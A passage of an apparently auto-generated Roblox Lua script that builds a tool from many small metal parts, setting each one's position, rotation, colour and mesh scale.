  2657. Part110.FormFactor = Enum.FormFactor.Custom
  2658. Part110.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2659. Part110.CFrame = CFrame.new(144.396271, 3.98323798, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2660. Part110.BottomSurface = Enum.SurfaceType.Smooth
  2661. Part110.TopSurface = Enum.SurfaceType.Smooth
  2662. Part110.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2663. Part110.Position = Vector3.new(144.396271, 3.98323798, 144.28093)
  2664. Part110.Orientation = Vector3.new(90, 90, 0)
  2665. Part110.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2666. BlockMesh111.Parent = Part110
  2667. BlockMesh111.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  2668. BlockMesh111.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  2669. Part112.Parent = Tool0
  2670. Part112.Material = Enum.Material.Metal
  2671. Part112.BrickColor = BrickColor.new("Dark stone grey")
  2672. Part112.Rotation = Vector3.new(90, -90, 0)
  2673. Part112.Anchored = true
  2674. Part112.FormFactor = Enum.FormFactor.Custom
  2675. Part112.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2676. Part112.CFrame = CFrame.new(144.642929, 3.97324896, 144.474274, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  2677. Part112.BottomSurface = Enum.SurfaceType.Smooth
  2678. Part112.TopSurface = Enum.SurfaceType.Smooth
  2679. Part112.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2680. Part112.Position = Vector3.new(144.642929, 3.97324896, 144.474274)
  2681. Part112.Orientation = Vector3.new(0, -90, -90)
  2682. Part112.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2683. SpecialMesh113.Parent = Part112
  2684. SpecialMesh113.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  2685. SpecialMesh113.MeshType = Enum.MeshType.Wedge
  2686. SpecialMesh113.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  2687. Part114.Parent = Tool0
  2688. Part114.Material = Enum.Material.Metal
  2689. Part114.BrickColor = BrickColor.new("Dark stone grey")
  2690. Part114.Rotation = Vector3.new(90, 30, 90)
  2691. Part114.Anchored = true
  2692. Part114.FormFactor = Enum.FormFactor.Custom
  2693. Part114.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2694. Part114.CFrame = CFrame.new(144.093567, 3.61211801, 144.39093, 0, -0.866036117, 0.49998188, 0, -0.49998188, -0.866036117, 1, 0, 0)
  2695. Part114.BottomSurface = Enum.SurfaceType.Smooth
  2696. Part114.TopSurface = Enum.SurfaceType.Smooth
  2697. Part114.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2698. Part114.Position = Vector3.new(144.093567, 3.61211801, 144.39093)
  2699. Part114.Orientation = Vector3.new(60, 90, 180)
  2700. Part114.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2701. BlockMesh115.Parent = Part114
  2702. BlockMesh115.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  2703. BlockMesh115.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  2704. Part116.Parent = Tool0
  2705. Part116.Material = Enum.Material.Metal
  2706. Part116.BrickColor = BrickColor.new("Black")
  2707. Part116.Rotation = Vector3.new(-90, -90, 0)
  2708. Part116.Anchored = true
  2709. Part116.FormFactor = Enum.FormFactor.Custom
  2710. Part116.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2711. Part116.CFrame = CFrame.new(144.562943, 3.86657596, 144.307602, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2712. Part116.BottomSurface = Enum.SurfaceType.Smooth
  2713. Part116.TopSurface = Enum.SurfaceType.Smooth
  2714. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2715. Part116.Position = Vector3.new(144.562943, 3.86657596, 144.307602)
  2716. Part116.Orientation = Vector3.new(0, -90, 90)
  2717. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2718. BlockMesh117.Parent = Part116
  2719. BlockMesh117.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  2720. BlockMesh117.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  2721. Part118.Parent = Tool0
  2722. Part118.Material = Enum.Material.Metal
  2723. Part118.BrickColor = BrickColor.new("Dark stone grey")
  2724. Part118.Rotation = Vector3.new(-90, 0, -180)
  2725. Part118.Anchored = true
  2726. Part118.FormFactor = Enum.FormFactor.Custom
  2727. Part118.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2728. Part118.CFrame = CFrame.new(144.12294, 3.76324296, 144.500931, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  2729. Part118.BottomSurface = Enum.SurfaceType.Smooth
  2730. Part118.TopSurface = Enum.SurfaceType.Smooth
  2731. Part118.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2732. Part118.Position = Vector3.new(144.12294, 3.76324296, 144.500931)
  2733. Part118.Orientation = Vector3.new(-90, -180, 0)
  2734. Part118.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2735. CylinderMesh119.Parent = Part118
  2736. CylinderMesh119.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  2737. CylinderMesh119.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  2738. Part120.Parent = Tool0
  2739. Part120.Material = Enum.Material.Metal
  2740. Part120.BrickColor = BrickColor.new("Dark stone grey")
  2741. Part120.Rotation = Vector3.new(90, 0, -90)
  2742. Part120.Anchored = true
  2743. Part120.FormFactor = Enum.FormFactor.Custom
  2744. Part120.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  2745. Part120.CFrame = CFrame.new(143.469604, 3.83991194, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2746. Part120.BottomSurface = Enum.SurfaceType.Smooth
  2747. Part120.TopSurface = Enum.SurfaceType.Smooth
  2748. Part120.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2749. Part120.Position = Vector3.new(143.469604, 3.83991194, 144.28093)
  2750. Part120.Orientation = Vector3.new(90, 90, 0)
  2751. Part120.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2752. CylinderMesh121.Parent = Part120
  2753. CylinderMesh121.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2754. CylinderMesh121.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2755. Part122.Parent = Tool0
  2756. Part122.Material = Enum.Material.Metal
  2757. Part122.BrickColor = BrickColor.new("Dark stone grey")
  2758. Part122.Rotation = Vector3.new(90, 0, -90)
  2759. Part122.Anchored = true
  2760. Part122.FormFactor = Enum.FormFactor.Custom
  2761. Part122.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2762. Part122.CFrame = CFrame.new(144.939606, 4.01991081, 144.457596, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2763. Part122.BottomSurface = Enum.SurfaceType.Smooth
  2764. Part122.TopSurface = Enum.SurfaceType.Smooth
  2765. Part122.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2766. Part122.Position = Vector3.new(144.939606, 4.01991081, 144.457596)
  2767. Part122.Orientation = Vector3.new(90, 90, 0)
  2768. Part122.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2769. BlockMesh123.Parent = Part122
  2770. BlockMesh123.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000072)
  2771. BlockMesh123.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000072)
  2772. Part124.Parent = Tool0
  2773. Part124.Material = Enum.Material.Metal
  2774. Part124.BrickColor = BrickColor.new("Dark stone grey")
  2775. Part124.Rotation = Vector3.new(-90, 0, 90)
  2776. Part124.Anchored = true
  2777. Part124.FormFactor = Enum.FormFactor.Custom
  2778. Part124.Size = Vector3.new(0.200000003, 0.466666579, 0.200000003)
  2779. Part124.CFrame = CFrame.new(144.072937, 3.99991298, 144.484268, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2780. Part124.BottomSurface = Enum.SurfaceType.Smooth
  2781. Part124.TopSurface = Enum.SurfaceType.Smooth
  2782. Part124.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2783. Part124.Position = Vector3.new(144.072937, 3.99991298, 144.484268)
  2784. Part124.Orientation = Vector3.new(-90, 90, 0)
  2785. Part124.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2786. BlockMesh125.Parent = Part124
  2787. BlockMesh125.Scale = Vector3.new(0.13333334, 1, 0.0999999717)
  2788. BlockMesh125.Scale = Vector3.new(0.13333334, 1, 0.0999999717)
  2789. Part126.Parent = Tool0
  2790. Part126.Material = Enum.Material.Metal
  2791. Part126.BrickColor = BrickColor.new("Dark stone grey")
  2792. Part126.Rotation = Vector3.new(90, 0, 90)
  2793. Part126.Anchored = true
  2794. Part126.FormFactor = Enum.FormFactor.Custom
  2795. Part126.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2796. Part126.CFrame = CFrame.new(143.78627, 3.99991298, 144.487595, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  2797. Part126.BottomSurface = Enum.SurfaceType.Smooth
  2798. Part126.TopSurface = Enum.SurfaceType.Smooth
  2799. Part126.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2800. Part126.Position = Vector3.new(143.78627, 3.99991298, 144.487595)
  2801. Part126.Orientation = Vector3.new(90, -90, 0)
  2802. Part126.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2803. SpecialMesh127.Parent = Part126
  2804. SpecialMesh127.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  2805. SpecialMesh127.MeshType = Enum.MeshType.Wedge
  2806. SpecialMesh127.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  2807. Part128.Parent = Tool0
  2808. Part128.Material = Enum.Material.Metal
  2809. Part128.BrickColor = BrickColor.new("Dark stone grey")
  2810. Part128.Rotation = Vector3.new(90, 0, -180)
  2811. Part128.Anchored = true
  2812. Part128.FormFactor = Enum.FormFactor.Custom
  2813. Part128.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2814. Part128.CFrame = CFrame.new(144.936279, 4.00324106, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2815. Part128.BottomSurface = Enum.SurfaceType.Smooth
  2816. Part128.TopSurface = Enum.SurfaceType.Smooth
  2817. Part128.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2818. Part128.Position = Vector3.new(144.936279, 4.00324106, 144.444275)
  2819. Part128.Orientation = Vector3.new(90, 180, 0)
  2820. Part128.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2821. BlockMesh129.Parent = Part128
  2822. BlockMesh129.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  2823. BlockMesh129.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  2824. Part130.Parent = Tool0
  2825. Part130.Material = Enum.Material.Metal
  2826. Part130.BrickColor = BrickColor.new("Dark stone grey")
  2827. Part130.Rotation = Vector3.new(90, 0, -90)
  2828. Part130.Anchored = true
  2829. Part130.FormFactor = Enum.FormFactor.Custom
  2830. Part130.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2831. Part130.CFrame = CFrame.new(144.769608, 3.97324896, 144.467606, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2832. Part130.BottomSurface = Enum.SurfaceType.Smooth
  2833. Part130.TopSurface = Enum.SurfaceType.Smooth
  2834. Part130.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2835. Part130.Position = Vector3.new(144.769608, 3.97324896, 144.467606)
  2836. Part130.Orientation = Vector3.new(90, 90, 0)
  2837. Part130.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2838. BlockMesh131.Parent = Part130
  2839. BlockMesh131.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  2840. BlockMesh131.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  2841. Part132.Parent = Tool0
  2842. Part132.Material = Enum.Material.Metal
  2843. Part132.BrickColor = BrickColor.new("Dark stone grey")
  2844. Part132.Rotation = Vector3.new(-90, 0, -90)
  2845. Part132.Anchored = true
  2846. Part132.FormFactor = Enum.FormFactor.Custom
  2847. Part132.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2848. Part132.CFrame = CFrame.new(143.78627, 3.966573, 144.28093, 0, 0.999999762, 0, 0, 0, 0.999999762, 0.999999523, 0, 0)
  2849. Part132.BottomSurface = Enum.SurfaceType.Smooth
  2850. Part132.TopSurface = Enum.SurfaceType.Smooth
  2851. Part132.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2852. Part132.Position = Vector3.new(143.78627, 3.966573, 144.28093)
  2853. Part132.Orientation = Vector3.new(-89.9599991, 0, 0)
  2854. Part132.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2855. SpecialMesh133.Parent = Part132
  2856. SpecialMesh133.Scale = Vector3.new(0.0333333351, 0.5333336, 0.100000083)
  2857. SpecialMesh133.MeshType = Enum.MeshType.Wedge
  2858. SpecialMesh133.Scale = Vector3.new(0.0333333351, 0.5333336, 0.100000083)
  2859. Part134.Parent = Tool0
  2860. Part134.Material = Enum.Material.Metal
  2861. Part134.BrickColor = BrickColor.new("Dark stone grey")
  2862. Part134.Rotation = Vector3.new(-90, 0, -90)
  2863. Part134.Anchored = true
  2864. Part134.FormFactor = Enum.FormFactor.Custom
  2865. Part134.Size = Vector3.new(0.200000003, 0.286666751, 0.200000003)
  2866. Part134.CFrame = CFrame.new(143.5896, 3.93991399, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  2867. Part134.BottomSurface = Enum.SurfaceType.Smooth
  2868. Part134.TopSurface = Enum.SurfaceType.Smooth
  2869. Part134.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2870. Part134.Position = Vector3.new(143.5896, 3.93991399, 144.500931)
  2871. Part134.Orientation = Vector3.new(-90, -90, 0)
  2872. Part134.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2873. SpecialMesh135.Parent = Part134
  2874. SpecialMesh135.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  2875. SpecialMesh135.MeshType = Enum.MeshType.Wedge
  2876. SpecialMesh135.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  2877. Part136.Parent = Tool0
  2878. Part136.Material = Enum.Material.Metal
  2879. Part136.BrickColor = BrickColor.new("Black")
  2880. Part136.Rotation = Vector3.new(0, 90, 0)
  2881. Part136.Anchored = true
  2882. Part136.FormFactor = Enum.FormFactor.Custom
  2883. Part136.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2884. Part136.CFrame = CFrame.new(144.469604, 3.88990903, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2885. Part136.BottomSurface = Enum.SurfaceType.Smooth
  2886. Part136.TopSurface = Enum.SurfaceType.Smooth
  2887. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2888. Part136.Position = Vector3.new(144.469604, 3.88990903, 144.500931)
  2889. Part136.Orientation = Vector3.new(0, 90, 0)
  2890. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2891. SpecialMesh137.Parent = Part136
  2892. SpecialMesh137.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  2893. SpecialMesh137.MeshType = Enum.MeshType.Wedge
  2894. SpecialMesh137.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  2895. Part138.Parent = Tool0
  2896. Part138.Material = Enum.Material.Metal
  2897. Part138.BrickColor = BrickColor.new("Dark stone grey")
  2898. Part138.Rotation = Vector3.new(90, 0, -180)
  2899. Part138.Anchored = true
  2900. Part138.FormFactor = Enum.FormFactor.Custom
  2901. Part138.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2902. Part138.CFrame = CFrame.new(144.939606, 4.05324411, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2903. Part138.BottomSurface = Enum.SurfaceType.Smooth
  2904. Part138.TopSurface = Enum.SurfaceType.Smooth
  2905. Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2906. Part138.Position = Vector3.new(144.939606, 4.05324411, 144.324265)
  2907. Part138.Orientation = Vector3.new(90, 180, 0)
  2908. Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2909. CylinderMesh139.Parent = Part138
  2910. CylinderMesh139.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  2911. CylinderMesh139.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  2912. Part140.Parent = Tool0
  2913. Part140.Material = Enum.Material.Metal
  2914. Part140.BrickColor = BrickColor.new("Dark stone grey")
  2915. Part140.Rotation = Vector3.new(-180, 0, 0)
  2916. Part140.Anchored = true
  2917. Part140.FormFactor = Enum.FormFactor.Custom
  2918. Part140.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2919. Part140.CFrame = CFrame.new(144.936279, 4.09991121, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2920. Part140.BottomSurface = Enum.SurfaceType.Smooth
  2921. Part140.TopSurface = Enum.SurfaceType.Smooth
  2922. Part140.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2923. Part140.Position = Vector3.new(144.936279, 4.09991121, 144.387604)
  2924. Part140.Orientation = Vector3.new(0, 180, 180)
  2925. Part140.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2926. SpecialMesh141.Parent = Part140
  2927. SpecialMesh141.Scale = Vector3.new(0.0729996637, 0.0666666701, 0.0700000226)
  2928. SpecialMesh141.MeshType = Enum.MeshType.Sphere
  2929. SpecialMesh141.Scale = Vector3.new(0.0729996637, 0.0666666701, 0.0700000226)
  2930. Part142.Parent = Tool0
  2931. Part142.Material = Enum.Material.Metal
  2932. Part142.BrickColor = BrickColor.new("Black")
  2933. Part142.Rotation = Vector3.new(0, 90, 0)
  2934. Part142.Anchored = true
  2935. Part142.FormFactor = Enum.FormFactor.Custom
  2936. Part142.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2937. Part142.CFrame = CFrame.new(144.442932, 3.84324694, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2938. Part142.BottomSurface = Enum.SurfaceType.Smooth
  2939. Part142.TopSurface = Enum.SurfaceType.Smooth
  2940. Part142.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2941. Part142.Position = Vector3.new(144.442932, 3.84324694, 144.28093)
  2942. Part142.Orientation = Vector3.new(0, 90, 0)
  2943. Part142.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2944. SpecialMesh143.Parent = Part142
  2945. SpecialMesh143.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  2946. SpecialMesh143.MeshType = Enum.MeshType.Wedge
  2947. SpecialMesh143.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  2948. Part144.Parent = Tool0
  2949. Part144.Material = Enum.Material.Metal
  2950. Part144.BrickColor = BrickColor.new("Dark stone grey")
  2951. Part144.Rotation = Vector3.new(-90, 0, 90)
  2952. Part144.Anchored = true
  2953. Part144.FormFactor = Enum.FormFactor.Custom
  2954. Part144.Size = Vector3.new(0.200000003, 0.906666756, 0.200000003)
  2955. Part144.CFrame = CFrame.new(144.186279, 3.979913, 144.424271, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2956. Part144.BottomSurface = Enum.SurfaceType.Smooth
  2957. Part144.TopSurface = Enum.SurfaceType.Smooth
  2958. Part144.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2959. Part144.Position = Vector3.new(144.186279, 3.979913, 144.424271)
  2960. Part144.Orientation = Vector3.new(-90, 90, 0)
  2961. Part144.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2962. BlockMesh145.Parent = Part144
  2963. BlockMesh145.Scale = Vector3.new(0.0666666776, 1, 0.0333333351)
  2964. BlockMesh145.Scale = Vector3.new(0.0666666776, 1, 0.0333333351)
  2965. Part146.Parent = Tool0
  2966. Part146.Material = Enum.Material.Metal
  2967. Part146.BrickColor = BrickColor.new("Dark stone grey")
  2968. Part146.Rotation = Vector3.new(-180, 0, -90)
  2969. Part146.Anchored = true
  2970. Part146.FormFactor = Enum.FormFactor.Custom
  2971. Part146.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2972. Part146.CFrame = CFrame.new(143.846268, 3.99324799, 144.500931, 0, 1, 0, 1, 0, 0, 0, 0, -1)
  2973. Part146.BottomSurface = Enum.SurfaceType.Smooth
  2974. Part146.TopSurface = Enum.SurfaceType.Smooth
  2975. Part146.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2976. Part146.Position = Vector3.new(143.846268, 3.99324799, 144.500931)
  2977. Part146.Orientation = Vector3.new(0, 180, 90)
  2978. Part146.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2979. SpecialMesh147.Parent = Part146
  2980. SpecialMesh147.Scale = Vector3.new(0.166666314, 0.0666669533, 0.0333333388)
  2981. SpecialMesh147.MeshType = Enum.MeshType.Wedge
  2982. SpecialMesh147.Scale = Vector3.new(0.166666314, 0.0666669533, 0.0333333388)
  2983. Part148.Parent = Tool0
  2984. Part148.Material = Enum.Material.Metal
  2985. Part148.BrickColor = BrickColor.new("Dark stone grey")
  2986. Part148.Rotation = Vector3.new(90, 0, -90)
  2987. Part148.Anchored = true
  2988. Part148.FormFactor = Enum.FormFactor.Custom
  2989. Part148.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2990. Part148.CFrame = CFrame.new(144.396271, 3.98324203, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2991. Part148.BottomSurface = Enum.SurfaceType.Smooth
  2992. Part148.TopSurface = Enum.SurfaceType.Smooth
  2993. Part148.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2994. Part148.Position = Vector3.new(144.396271, 3.98324203, 144.500931)
  2995. Part148.Orientation = Vector3.new(90, 90, 0)
  2996. Part148.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2997. BlockMesh149.Parent = Part148
  2998. BlockMesh149.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  2999. BlockMesh149.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  3000. Part150.Parent = Tool0
  3001. Part150.Material = Enum.Material.Metal
  3002. Part150.BrickColor = BrickColor.new("Black")
  3003. Part150.Rotation = Vector3.new(90, 0, 0)
  3004. Part150.Anchored = true
  3005. Part150.FormFactor = Enum.FormFactor.Custom
  3006. Part150.Size = Vector3.new(0.379999995, 0.200000003, 0.200000003)
  3007. Part150.CFrame = CFrame.new(144.829605, 3.86324501, 144.4776, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  3008. Part150.BottomSurface = Enum.SurfaceType.Smooth
  3009. Part150.TopSurface = Enum.SurfaceType.Smooth
  3010. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3011. Part150.Position = Vector3.new(144.829605, 3.86324501, 144.4776)
  3012. Part150.Orientation = Vector3.new(90, 0, 0)
  3013. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3014. SpecialMesh151.Parent = Part150
  3015. SpecialMesh151.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  3016. SpecialMesh151.MeshType = Enum.MeshType.Wedge
  3017. SpecialMesh151.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  3018. Part152.Parent = Tool0
  3019. Part152.Material = Enum.Material.Metal
  3020. Part152.BrickColor = BrickColor.new("Dark stone grey")
  3021. Part152.Rotation = Vector3.new(-90, -90, 0)
  3022. Part152.Anchored = true
  3023. Part152.FormFactor = Enum.FormFactor.Custom
  3024. Part152.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3025. Part152.CFrame = CFrame.new(143.792938, 3.97324204, 144.490952, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3026. Part152.BottomSurface = Enum.SurfaceType.Smooth
  3027. Part152.TopSurface = Enum.SurfaceType.Smooth
  3028. Part152.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3029. Part152.Position = Vector3.new(143.792938, 3.97324204, 144.490952)
  3030. Part152.Orientation = Vector3.new(0, -90, 90)
  3031. Part152.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3032. BlockMesh153.Parent = Part152
  3033. BlockMesh153.Scale = Vector3.new(0.166666493, 0.0666666701, 0.60000062)
  3034. BlockMesh153.Scale = Vector3.new(0.166666493, 0.0666666701, 0.60000062)
  3035. Part154.Parent = Tool0
  3036. Part154.Material = Enum.Material.Metal
  3037. Part154.BrickColor = BrickColor.new("Black")
  3038. Part154.Rotation = Vector3.new(90, 0, -180)
  3039. Part154.Anchored = true
  3040. Part154.FormFactor = Enum.FormFactor.Custom
  3041. Part154.Size = Vector3.new(0.379999995, 0.200000003, 0.200000003)
  3042. Part154.CFrame = CFrame.new(144.829605, 3.86324501, 144.30426, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3043. Part154.BottomSurface = Enum.SurfaceType.Smooth
  3044. Part154.TopSurface = Enum.SurfaceType.Smooth
  3045. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3046. Part154.Position = Vector3.new(144.829605, 3.86324501, 144.30426)
  3047. Part154.Orientation = Vector3.new(90, 180, 0)
  3048. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3049. SpecialMesh155.Parent = Part154
  3050. SpecialMesh155.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  3051. SpecialMesh155.MeshType = Enum.MeshType.Wedge
  3052. SpecialMesh155.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  3053. Part156.Parent = Tool0
  3054. Part156.Material = Enum.Material.Metal
  3055. Part156.BrickColor = BrickColor.new("Dark stone grey")
  3056. Part156.Rotation = Vector3.new(90, 0, -180)
  3057. Part156.Anchored = true
  3058. Part156.FormFactor = Enum.FormFactor.Custom
  3059. Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3060. Part156.CFrame = CFrame.new(145.009598, 4.00324106, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3061. Part156.BottomSurface = Enum.SurfaceType.Smooth
  3062. Part156.TopSurface = Enum.SurfaceType.Smooth
  3063. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3064. Part156.Position = Vector3.new(145.009598, 4.00324106, 144.444275)
  3065. Part156.Orientation = Vector3.new(90, 180, 0)
  3066. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3067. BlockMesh157.Parent = Part156
  3068. BlockMesh157.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  3069. BlockMesh157.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  3070. Part158.Parent = Tool0
  3071. Part158.Material = Enum.Material.Metal
  3072. Part158.BrickColor = BrickColor.new("Dark stone grey")
  3073. Part158.Rotation = Vector3.new(-90, -90, 0)
  3074. Part158.Anchored = true
  3075. Part158.FormFactor = Enum.FormFactor.Custom
  3076. Part158.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3077. Part158.CFrame = CFrame.new(144.562943, 3.93991303, 144.307602, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3078. Part158.BottomSurface = Enum.SurfaceType.Smooth
  3079. Part158.TopSurface = Enum.SurfaceType.Smooth
  3080. Part158.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3081. Part158.Position = Vector3.new(144.562943, 3.93991303, 144.307602)
  3082. Part158.Orientation = Vector3.new(0, -90, 90)
  3083. Part158.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3084. BlockMesh159.Parent = Part158
  3085. BlockMesh159.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  3086. BlockMesh159.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  3087. Part160.Parent = Tool0
  3088. Part160.Material = Enum.Material.Metal
  3089. Part160.BrickColor = BrickColor.new("Dark stone grey")
  3090. Part160.Rotation = Vector3.new(-90, 0, 90)
  3091. Part160.Anchored = true
  3092. Part160.FormFactor = Enum.FormFactor.Custom
  3093. Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3094. Part160.CFrame = CFrame.new(145.086273, 3.83324599, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3095. Part160.BottomSurface = Enum.SurfaceType.Smooth
  3096. Part160.TopSurface = Enum.SurfaceType.Smooth
  3097. Part160.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3098. Part160.Position = Vector3.new(145.086273, 3.83324599, 144.39093)
  3099. Part160.Orientation = Vector3.new(-90, 90, 0)
  3100. Part160.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3101. CylinderMesh161.Parent = Part160
  3102. CylinderMesh161.Scale = Vector3.new(0.953333139, 0.666666687, 0.769999862)
  3103. CylinderMesh161.Scale = Vector3.new(0.953333139, 0.666666687, 0.769999862)
  3104. Part162.Parent = Tool0
  3105. Part162.Material = Enum.Material.Metal
  3106. Part162.BrickColor = BrickColor.new("Black")
  3107. Part162.Rotation = Vector3.new(-90, -90, 0)
  3108. Part162.Anchored = true
  3109. Part162.FormFactor = Enum.FormFactor.Custom
  3110. Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.379999965)
  3111. Part162.CFrame = CFrame.new(144.829605, 3.86657596, 144.31427, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3112. Part162.BottomSurface = Enum.SurfaceType.Smooth
  3113. Part162.TopSurface = Enum.SurfaceType.Smooth
  3114. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
